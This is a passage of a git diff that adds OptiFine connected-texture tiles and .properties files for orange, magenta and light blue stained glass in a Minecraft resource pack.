a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/38.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/38.png new file mode 100644 index 00000000..c5b965da Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/39.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/39.png new file mode 100644 index 00000000..bdffbfc4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/4.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/4.png new file mode 100644 index 00000000..7433d689 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/40.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/40.png new file mode 100644 index 00000000..8ef8bb1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/41.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/41.png new file mode 100644 index 00000000..8fc859e7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/42.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/42.png new file mode 100644 index 00000000..656da84b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/43.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/43.png new file mode 100644 index 00000000..aad64f35 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/44.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/44.png new file mode 100644 index 00000000..1558f3d7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/45.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/45.png new file mode 100644 index 00000000..0d749b02 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/46.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/46.png new file mode 100644 index 00000000..0f22a022 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/5.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/5.png new file mode 100644 index 00000000..ce6f684a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/6.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/6.png new file mode 100644 index 00000000..71d6a960 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/7.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/7.png new file mode 100644 index 00000000..7836e424 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/8.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/8.png new file mode 100644 index 00000000..feedcd26 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/9.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/9.png new file mode 100644 index 00000000..0fd16e2f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/glass_orange.properties b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/glass_orange.properties new file mode 100644 index 00000000..09081939 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/glass_orange.properties @@ -0,0 +1,5 @@ +# Stained glass orange +matchBlocks=orange_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/glass_pane_orange.properties b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/glass_pane_orange.properties new file mode 100644 index 00000000..1c26d1a9 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/glass_pane_orange.properties @@ -0,0 +1,6 @@ +# Stained glass pane orange +matchBlocks=orange_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/0.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/0.png new file mode 100644 index 00000000..d5fbb2a8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/1.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/1.png new file mode 100644 index 00000000..5e229fb9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/10.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/10.png new file mode 100644 index 00000000..fc9e1329 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/11.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/11.png new file mode 100644 index 00000000..5582c150 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/12.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/12.png new file mode 100644 index 00000000..7cede14e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/13.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/13.png new file mode 100644 index 00000000..bf616b9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/14.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/14.png new file mode 100644 index 00000000..4955b16b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/15.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/15.png new file mode 100644 index 00000000..41e2e733 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/16.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/16.png new file mode 100644 index 00000000..088acc17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/17.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/17.png new file mode 100644 index 00000000..ce68690f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/18.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/18.png new file mode 100644 index 00000000..692feca4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/19.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/19.png new file mode 100644 index 00000000..3bd4f859 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/2.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/2.png new file mode 100644 index 00000000..bc2266e2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/20.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/20.png new file mode 100644 index 00000000..18e65518 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/21.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/21.png new file mode 100644 index 00000000..550aee98 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/22.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/22.png new file mode 100644 index 00000000..d7502165 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/23.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/23.png new file mode 100644 index 00000000..3f8f2b6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/24.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/24.png new file mode 100644 index 00000000..6d13463c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/25.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/25.png new file mode 100644 index 00000000..d1f0030b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/26.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/26.png new file mode 100644 index 00000000..1603fef2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/27.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/27.png new file mode 100644 index 00000000..2385cec0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/28.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/28.png new file mode 100644 index 00000000..333c927b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/29.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/29.png new file mode 100644 index 00000000..30a544fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/3.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/3.png new file mode 100644 index 00000000..82a321f5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/30.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/30.png new file mode 100644 index 00000000..d078adca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/31.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/31.png new file mode 100644 index 00000000..43ba11c4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/32.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/32.png new file mode 100644 index 00000000..4613e4f6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/33.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/33.png new file mode 100644 index 00000000..57658d12 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/34.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/34.png new file mode 100644 index 00000000..29af344c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/35.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/35.png new file mode 100644 index 00000000..fba9b2eb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/36.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/36.png new file mode 100644 index 00000000..6dd89df3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/37.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/37.png new file mode 100644 index 00000000..4060e0ae Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/38.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/38.png new file mode 100644 index 00000000..f8234891 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/39.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/39.png new file mode 100644 index 00000000..511e4b31 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/4.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/4.png new file mode 100644 index 00000000..5893666c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/40.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/40.png new file mode 100644 index 00000000..faa67b14 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/41.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/41.png new file mode 100644 index 00000000..7bf92269 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/42.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/42.png new file mode 100644 index 00000000..538a5a08 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/43.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/43.png new file mode 100644 index 00000000..6f0e9119 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/44.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/44.png new file mode 100644 index 00000000..24e16d73 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/45.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/45.png new file mode 100644 index 00000000..dcbae281 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/46.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/46.png new file mode 100644 index 00000000..fe25b081 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/5.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/5.png new file mode 100644 index 00000000..65c32e3d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/6.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/6.png new file mode 100644 index 00000000..4f212de4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/7.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/7.png new file mode 100644 index 00000000..a6bc9517 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/8.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/8.png new file mode 100644 index 00000000..1ce183b7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/9.png b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/9.png new file mode 100644 index 00000000..e2d2a0e2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/glass_magenta.properties b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/glass_magenta.properties new file mode 100644 index 00000000..e8ff66dc --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/glass_magenta.properties @@ -0,0 +1,5 @@ +# Stained glass magenta +matchBlocks=magenta_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/glass_pane_magenta.properties b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/glass_pane_magenta.properties new file mode 100644 index 00000000..3d90ac72 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/02_glass_magenta/glass_pane_magenta.properties @@ -0,0 +1,6 @@ +# Stained glass pane magenta +matchBlocks=magenta_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/0.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/0.png new file mode 100644 index 00000000..a3752177 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/1.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/1.png new file mode 100644 index 00000000..7bc3c627 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/10.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/10.png new file mode 100644 index 00000000..9dce8d34 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/11.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/11.png new file mode 100644 index 00000000..5e8caebd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/12.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/12.png new file mode 100644 index 00000000..81f842e1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/13.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/13.png new file mode 100644 index 00000000..28968a74 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/14.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/14.png new file mode 100644 index 00000000..33613bb6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/15.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/15.png new file mode 100644 index 00000000..3b302e03 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/16.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/16.png new file mode 100644 index 00000000..a8090ed0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/17.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/17.png new file mode 100644 index 00000000..096c5f0b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/18.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/18.png new file mode 100644 index 00000000..b0c8db56 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/19.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/19.png new file mode 100644 index 00000000..a895367e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/2.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/2.png new file mode 100644 index 00000000..b86f0fcb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/20.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/20.png new file mode 100644 index 00000000..c7c1b451 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/21.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/21.png new file mode 100644 index 00000000..6fe9594d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/22.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/22.png new file mode 100644 index 00000000..f8a5d1fb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/23.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/23.png new file mode 100644 index 00000000..18080330 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/24.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/24.png new file mode 100644 index 00000000..56356ef7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/25.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/25.png new file mode 100644 index 00000000..31e0a409 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/26.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/26.png new file mode 100644 index 00000000..0e559ab0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/27.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/27.png new file mode 100644 index 00000000..d115a9b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/28.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/28.png new file mode 100644 index 00000000..52dbf83b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/29.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/29.png new file mode 100644 index 00000000..09e8efc0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/3.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/3.png new file mode 100644 index 00000000..f77c05a5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/30.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/30.png new file mode 100644 index 00000000..53d5cccf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/31.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/31.png new file mode 100644 index 00000000..142d6c68 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/32.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/32.png new file mode 100644 index 00000000..44a4a424 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/33.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/33.png new file mode 100644 index 00000000..881f1c22 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/34.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/34.png new file mode 100644 index 00000000..816d9330 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/35.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/35.png new file mode 100644 index 00000000..27d5a71d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/36.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/36.png new file mode 100644 index 00000000..fc75d028 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/37.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/37.png new file mode 100644 index 00000000..b26868a1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/38.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/38.png new file mode 100644 index 00000000..771dd2f5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/39.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/39.png new file mode 100644 index 00000000..706eb63e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/4.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/4.png new file mode 100644 index 00000000..494f8676 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/40.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/40.png new file mode 100644 index 00000000..d9069e45 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/41.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/41.png new file mode 100644 index 00000000..3242b4d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/42.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/42.png new file mode 100644 index 00000000..0da7bc9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/43.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/43.png new file mode 100644 index 00000000..53610ae5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/44.png 